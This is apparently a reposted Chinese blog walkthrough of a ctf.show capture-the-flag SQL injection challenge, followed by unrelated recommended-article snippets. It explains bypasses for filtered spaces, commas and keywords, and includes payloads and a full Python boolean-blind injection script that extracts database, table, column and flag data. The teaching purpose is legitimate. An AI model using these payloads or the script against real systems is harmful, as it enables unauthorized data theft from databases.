ctfshow-WEB-web8_ctfshow web8-程序员宅基地

技术标签: 渗透测试  网络安全  ctf.show-WEB/网络迷踪模块 通关教程  

ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字, 

1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
2. 过滤and, 可以使用or替代
3. 过滤union, 可以用盲注替代联合注入
4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

 

首先确定注入点, 输入以下payload使SQL恒成立

?id=-1/**/or/**/true

 由于SQL恒成立, 数据库将查询出表中的所有内容, 并返回到前端展示

再输入一下payload 使SQL恒不成立

?id=-1/**/or/**/false

 由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示

 由以上返回结果可知, 该页面存在SQL注入, 注入点为数值型注入

接下来进行脱库, 由于盲注脱库比较复杂, 此处我们构造Python脚本进行自动化脱库, 注意payload中的字符串不要换行, 否则可能会出问题

import requests

url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))

        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

 成功获取当前数据库名: web8

 

接下来获取获取数据库中所有表

 获取字段

 获取数据flag

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/wangyuxiang946/article/details/120115458

智能推荐

Web前端自定义View详解,css3 文字流光渐变 背景模糊 边框两边伸展,714页PDF的鸿蒙学习笔记,-程序员宅基地

文章浏览阅读930次,点赞21次,收藏12次。ty3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**-webkit-background-clip:裁剪背景图像,使用文字作为裁剪区域向外裁剪,此时文字颜色仍覆盖背景图。-webkit-text-fill-color:设置字体颜色。background-size:背景图长度。background-image:使用css3的渐变绘制图像,从左到右。

SIM800 发送http请求AT指令_at+httpread 长度-程序员宅基地

文章浏览阅读6.5k次。AT指令步骤AT+SAPBR=3,1,"APN","CMNET" //我也不知道为什么要这样(我是移动卡)AT+SAPBR=1,1AT+HTTPINIT //http初始化准备AT+HTTPPARA="CID",1AT+HTTPPARA="URL","http://2o23854k96.iask.in:49512" //改成你的域名我这里用了花生壳AT+HTTPP..._at+httpread 长度

《电商法》将至:朋友圈的微商们该何去何从?-程序员宅基地

文章浏览阅读224次。也是时候为互联网祛魅了,说到底它只是一种工具而已,是中性的,不应该像真理一样,是一种不容置疑的信仰。《电商法》将至:朋友圈的微商们该何去何从?历时五年,经过三次征求意见、四次审议的电子商务法将于2019年1月1日起正式实施。此次立法在电商经营资质、纳税、处罚标准等方面作出了明确规定,同时也对电子商务平台经营者的责任和义务进行了界定。《电商法》要求被定义为电子商务经营者的从业者必须进行正规登...

Linux中如何安装特定的gcc版本_linux gfortran9安装指定版本-程序员宅基地

文章浏览阅读5.7k次。Linux允许多个版本的gcc共存,当你需要安装多个版本的gcc的时候,比如同时安装gcc-7和gcc-8,你可以通过update-alternatives来重定位你想使用的gcc版本。sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-7 700 --slave /usr/bin/g++ g++ /usr/bin/g++-7sudo update-alternatives --install /usr/bin/gcc.._linux gfortran9安装指定版本

Align before Fuse: Vision and Language Representation Learning with Momentum Distillation-程序员宅基地

文章浏览阅读772次,点赞14次,收藏10次。在本文中,我们引入了一种对比度损失来对齐图像和文本的表征,然后通过跨通道注意来融合它们(ALBEF),从而使视觉和语言表征学习更扎根。与现有的大多数方法不同,我们的方法不需要边界框注释,也不需要高分辨率图像。为了改进对噪声网络数据的学习,我们提出了动量蒸馏,这是一种自训练方法,它从动量模型产生的伪目标中学习。我们从互信息最大化的角度对ALBEF进行了理论分析,表明不同的训练任务可以解释为为图像-文本对生成视图的不同方式。

Nagios 监控服务器部署_nagios监控部署-程序员宅基地

文章浏览阅读628次。 【 Nagios 安装配置】安装参考:Nagios Core - Installing Nagios Core From Source# 设置SELINUXsed -i 's/SELINUX=.*/SELINUX=disabled/g' /etc/selinux/configsetenforce 0# 安装必要包yum install -y gcc glibc glibc..._nagios监控部署

随便推点

Activity背景透明-程序员宅基地

文章浏览阅读505次。Theme.Translucent.NoTitleBar.Fullscreen当指定Activity 样式 Them.Dialog 时候 又不允许用XML 设置 Activity 的背景颜色的时候 用代码 this.getWindow().getDecorView().setBackgroundColor(Color.TRANSPARENT); 主意:代码写在 setContView()_activity背景透明

项目笔记(一)_如何做项目笔记图片-程序员宅基地

文章浏览阅读561次。有关于使用matlab进行基础的文件读入输出,字符串处理_如何做项目笔记图片

C/C++编程:long long类型_longlong c-程序员宅基地

文章浏览阅读1.2w次,点赞3次,收藏7次。数据类型long long是C++11中重新定义的,标准规定它最小是64bit在这之前为了提供超过32bit的整数,各个开发环境(编译器)分别定义了各自的64bit整数类型。这会导致代码不兼容现在,C++11直接定义了long long类型我猜许多人应该使用过这个类型,当然在C++11之前,这种尝试会被编译器无情拒绝,自C++11之后就不会在发生这样地情况了。因此我认为:在C++11新特性中,long long一定是最容易被接受的一个。多数程序员看到它时甚至不会意识到这是一个新特性。相应的,C++1_longlong c

关于在 Notion 中使用 Markdown 语法_notion怎么写markdown-程序员宅基地

文章浏览阅读1.4k次。习惯使用的 Markdown 的伙伴们应该知道,当需要加粗字体时,会首先输入。,也就是先键入**,后面紧接着输入需要加粗的文字,最后键入**。但是在 Notion 中,这个就不太行了。同样,行内公式、行内代码高亮、斜体等都是这个规则。,然后在里面填内容。_notion怎么写markdown

flask使用form表单报错:“KeyError: 'A secret key is required to use CSRF.'”_keyerror: 'form-程序员宅基地

文章浏览阅读4.5k次,点赞2次,收藏3次。flask使用form表单报错:“KeyError: ‘A secret key is required to use CSRF.’”报错详情:KeyError: 'A secret key is required to use CSRF.'Traceback (most recent call last)FFile "F:\Projects\flask_env\lib\site-pac..._keyerror: 'form

修改ubuntu ls 显示的目录底色_ubuntu中如何不显示绿色-程序员宅基地

文章浏览阅读884次。绿色底色很烦,看不清文件夹的名字在.bashrc里加一行,LS_COLORS=$LS_COLORS:'ow=1;32:'这样即可取消有些文件夹的绿色底色。其中ow的意思是OTHER_WRITABLE1的意思是粗体,32的意思是绿色前景参考:编码 颜色/动作 0 重新设置属性到缺省设置 1 设置粗体 2 设置一半亮度(模拟彩色显示器的颜色) 4 设置下划线(模拟彩色显示器的颜色) 5 设置闪烁 7 设置反_ubuntu中如何不显示绿色

推荐文章

热门文章

相关标签